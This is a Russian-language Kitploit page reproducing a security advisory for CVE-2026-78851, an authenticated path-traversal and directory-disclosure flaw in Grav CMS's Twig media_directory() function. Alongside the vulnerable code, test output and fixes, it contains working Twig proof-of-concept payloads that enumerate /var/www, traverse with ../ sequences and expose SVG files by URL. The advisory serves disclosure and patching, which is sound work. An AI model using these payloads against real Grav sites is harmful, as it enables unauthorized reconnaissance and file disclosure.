Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-78851 — Технический бюллетень, описывающий аутентифицированную уязвимость обхода пути в функции Twig media_directory() в Grav CMS, позволяющую произвольное перечисление каталогов и раскрытие путей файловой системы. | Kitploit
Инструменты/GitHubGitHub/slo-cyber-sec/cve-2026-78851
Анализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

Технический бюллетень, описывающий аутентифицированную уязвимость обхода пути в функции Twig media_directory() в Grav CMS, позволяющую произвольное перечисление каталогов и раскрытие путей файловой системы.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обход каталога / Раскрытие произвольных каталогов в Grav через Twig media_directory()

Автор отчёта

Имя: CYBER-SEC
Контакт: [email protected]

Краткое описание

Twig-функция media_directory() в Grav доступна в белом списке Twig-песочницы содержимого страниц, но не обеспечивает должного ограничения путей для входных данных, не являющихся потоками.

Аутентифицированный пользователь с правами редактирования страниц может вызвать media_directory('/absolute/path') или использовать относительный обход каталога, например media_directory('../../../../path'), в содержимом страниц с поддержкой Twig. Grav затем индексирует файлы медиатипов из каталогов, доступных для чтения пользователю веб-сервера.

Возвращаемые объекты Medium раскрывают разрешённые песочницей свойства, такие как и , что приводит к перечислению произвольных каталогов и раскрытию абсолютных путей файловой системы. Для файлов изображений/SVG генерация URL или кэша может раскрывать файлы через публичный механизм кэширования Grav.

filepath
filename

Это уязвимость раскрытия информации для аутентифицированных пользователей. Не известно, что она допускает эксплуатацию без аутентификации или прямое удалённое выполнение кода.

Затронутый продукт

Продукт: Grav flat-file CMS
Репозиторий: https://github.com/getgrav/grav
Подтверждённые затронутые версии: 2.0.3, 2.0.4, 2.0.6
Компонент: Twig media_directory() / Twig-песочница содержимого страниц Grav

CWE

  • CWE-22: Неправильное ограничение имени пути к ограниченному каталогу («Обход каталога»)
  • CWE-200: Раскрытие чувствительной информации неавторизованному субъекту

CVSS v3.1

Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Базовый балл: 6.5 Средний

Требования к атаке

  • Атакующий должен быть аутентифицирован.
  • Атакующий должен иметь права редактирования страниц.
  • Должна быть включена обработка Twig-содержимого.
  • Целевой каталог должен быть доступен для чтения пользователю веб-сервера.

Технические детали

Уязвимый участок кода находится в:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

Соответствующая логика:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

Только входные данные вида stream:// разрешаются через локатор Grav. Абсолютные или относительные пути, не являющиеся потоками, передаются без изменений в new Media($media_dir) без канонической проверки realpath(), отклонения обходных последовательностей или ограничения каталогами, контролируемыми Grav.

Функция доступна через белый список Twig-песочницы содержимого страниц:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

Песочница также разрешает методы/свойства Medium, такие как:

root@kitploit:~
filepath
filename
url
cache
resize

Это позволяет аутентифицированному редактору страниц раскрывать имена файлов и абсолютные пути из произвольных доступных для чтения каталогов. Для файлов изображений/SVG публичная генерация URL/кэша может раскрывать содержимое файлов.

Доказательство концепции

При включённой обработке Twig-содержимого создайте или отредактируйте страницу Grav и вставьте:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Форма с обходом каталога:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Пример раскрытия изображения/SVG:

root@kitploit:~
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}

Когда страница сохраняется и отображается, Grav индексирует файлы из указанного атакующим пути и раскрывает имена файлов и абсолютные пути файловой системы.

Подтверждённое поведение

Проверено на Grav 2.0.6 с использованием Docker-образа linuxserver/grav:latest.

Наблюдаемые результаты включали:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

Относительный обход каталога также был подтверждён:

root@kitploit:~
../../../../app/www/public

Раскрытие SVG-файлов через .url также было подтверждено в контролируемой локальной тестовой среде.

Воздействие

Аутентифицированный редактор страниц может:

  • Перечислять файлы медиатипов в произвольных каталогах, доступных для чтения пользователю веб-сервера.
  • Раскрывать абсолютные пути файловой системы и имена файлов.
  • Составлять карту структуры приложения и файловой системы на стороне сервера.
  • Выявлять чувствительные файлы, резервные копии, конфигурационные файлы, журналы или артефакты развёртывания по именам.
  • Потенциально раскрывать файлы изображений/SVG за пределами предполагаемого веб-корня через публичный кэш или генерацию URL.

Эта уязвимость относится к классу раскрытия информации и не должна сообщаться как удалённое выполнение кода.

Устранение

Рекомендуемые исправления:

  1. Удалите media_directory из белого списка Twig-песочницы содержимого страниц.

или:

  1. Примените строгое ограничение канонических путей к media_directory():
  • Разрешайте все пути с помощью realpath().
  • Отклоняйте пути, содержащие последовательности обхода.
  • Отклоняйте пути, разрешающиеся за пределы одобренных корней, контролируемых Grav.
  • Разрешайте только безопасные корни, такие как user://pages, user://images или другие явно одобренные каталоги медиафайлов.
  • Повторно проверяйте пути перед индексацией файлов и перед генерацией кэша/URL.

Раскрытие

Эта проблема была сообщена CYBER-SEC.

Ссылки

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
Скачать инструмент